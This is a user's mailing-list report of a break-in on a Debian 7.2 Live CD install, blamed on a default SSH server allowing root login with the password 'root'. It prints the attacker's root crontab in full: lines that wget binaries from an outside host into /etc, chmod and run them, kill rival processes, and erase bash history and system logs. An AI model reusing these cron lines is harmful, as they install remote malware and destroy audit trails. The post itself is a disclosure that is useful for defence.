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Live CD default sshd install allowed root privileges to be gained

Hi, on Jan 9th I installed Debian 7.2 amd64 Live CD from scratch after my hard disk w/ Kubuntu had crashed. On Jan 23, I accidentally found that the following root personal crontab was somehow installed on Jan 10th (the file is 4039 lines long, and I haven't been able to post it here probably due to mailing list's limitations): 


s file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
*/1 * * * * killall -9 .IptabLes
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task




(Note "*/1 * * * * killall -9 .IptabLes" above)




Which, after comments have been removed, is basically this:


s file to introduce tasks to be run by cron.
*/1 * * * * killall -9 .IptabLes
*/1 * * * * killall -9 nfsd4
*/1 * * * * killall -9 profild.key
*/1 * * * * killall -9 nfsd
*/1 * * * * killall -9 DDosl
*/1 * * * * killall -9 lengchao32
*/1 * * * * killall -9 b26
*/1 * * * * killall -9 codelove
*/1 * * * * killall -9 32
*/1 * * * * killall -9 64
*/1 * * * * killall -9 new6
*/1 * * * * killall -9 new4
*/1 * * * * killall -9 node24
*/1 * * * * killall -9 freeBSD
*/99 * * * * killall -9 cupsdd
*/99 * * * * killall -9 kysapd
*/98 * * * * killall -9 atdd
*/97 * * * * killall -9 kysapd
*/96 * * * * killall -9 skysapd
*/95 * * * * killall -9 xfsdx
*/94 * * * * killall -9 ksapd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd
*/120 * * * * cd /root;rm -rf dir nohup.out
*/360 * * * * cd /etc;rm -rf dir atdd
*/360 * * * * cd /etc;rm -rf dir ksapd
*/360 * * * * cd /etc;rm -rf dir kysapd
*/360 * * * * cd /etc;rm -rf dir skysapd
*/360 * * * * cd /etc;rm -rf dir sksapd
*/360 * * * * cd /etc;rm -rf dir xfsdx
*/1 * * * * cd /etc;rm -rf dir cupsdd.*
*/1 * * * * cd /etc;rm -rf dir atdd.*
*/1 * * * * cd /etc;rm -rf dir ksapd.*
*/1 * * * * cd /etc;rm -rf dir kysapd.*
*/1 * * * * cd /etc;rm -rf dir skysapd.*
*/1 * * * * cd /etc;rm -rf dir sksapd.*
*/1 * * * * cd /etc;rm -rf dir xfsdx.*
*/1 * * * * chmod 7777 /etc/atdd
*/1 * * * * chmod 7777 /etc/cupsdd
*/1 * * * * chmod 7777 /etc/ksapd
*/1 * * * * chmod 7777 /etc/kysapd
*/1 * * * * chmod 7777 /etc/skysapd
*/1 * * * * chmod 7777 /etc/sksapd
*/1 * * * * chmod 7777 /etc/xfsdx
*/1 * * * * nohup /etc/cupsdd > /dev/null 2>&1&
*/100 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/99 * * * * nohup /etc/atdd > /dev/null 2>&1&
*/98 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/97 * * * * nohup /etc/skysapd > /dev/null 2>&1&
*/96 * * * * nohup /etc/xfsdx > /dev/null 2>&1&
*/95 * * * * nohup /etc/ksapd > /dev/null 2>&1&
*/1 * * * * echo "unset MAILCHECK" >> /etc/profile
*/1 * * * * rm -rf /root/.bash_history
*/1 * * * * touch /root/.bash_history
*/1 * * * * history -r
*/1 * * * * cd /var/log > dmesg
*/1 * * * * cd /var/log > auth.log
*/1 * * * * cd /var/log > alternatives.log
*/1 * * * * cd /var/log > boot.log
*/1 * * * * cd /var/log > btmp
*/1 * * * * cd /var/log > cron
*/1 * * * * cd /var/log > cups
*/1 * * * * cd /var/log > daemon.log
*/1 * * * * cd /var/log > dpkg.log
*/1 * * * * cd /var/log > faillog
*/1 * * * * cd /var/log > kern.log
*/1 * * * * cd /var/log > lastlog
*/1 * * * * cd /var/log > maillog
*/1 * * * * cd /var/log > user.log
*/1 * * * * cd /var/log > Xorg.x.log
*/1 * * * * cd /var/log > anaconda.log
*/1 * * * * cd /var/log > yum.log
*/1 * * * * cd /var/log > secure
*/1 * * * * cd /var/log > wtmp
*/1 * * * * cd /var/log > utmp
*/1 * * * * cd /var/log > messages
*/1 * * * * cd /var/log > spooler
*/1 * * * * cd /var/log > sudolog
*/1 * * * * cd /var/log > aculog
*/1 * * * * cd /var/log > access-log
*/1 * * * * cd /root > .bash_history
*/1 * * * * history -c
I believe thanks to the initial "s" the crontab syntax was incorrect so nothing got to run. 
This was really shown to emphasize what will follow.
The break in was caused by the fact that Debian's Live CD installed and enabled SSH server to run (with PermitRootLogin enabled) without telling me about it - I don't need an SSH server at home and would never run it in this way with an easy to guess root password, which was simply root, because I would never use the root account for logging in via network and would definitely harden SSH configuration with AllowUsers, public keys, firewall etc. I did install & enable a permissive iptables firewall ("deny by default"), but a day or two after the break-in, long before I detected the intrusion and what caused it.
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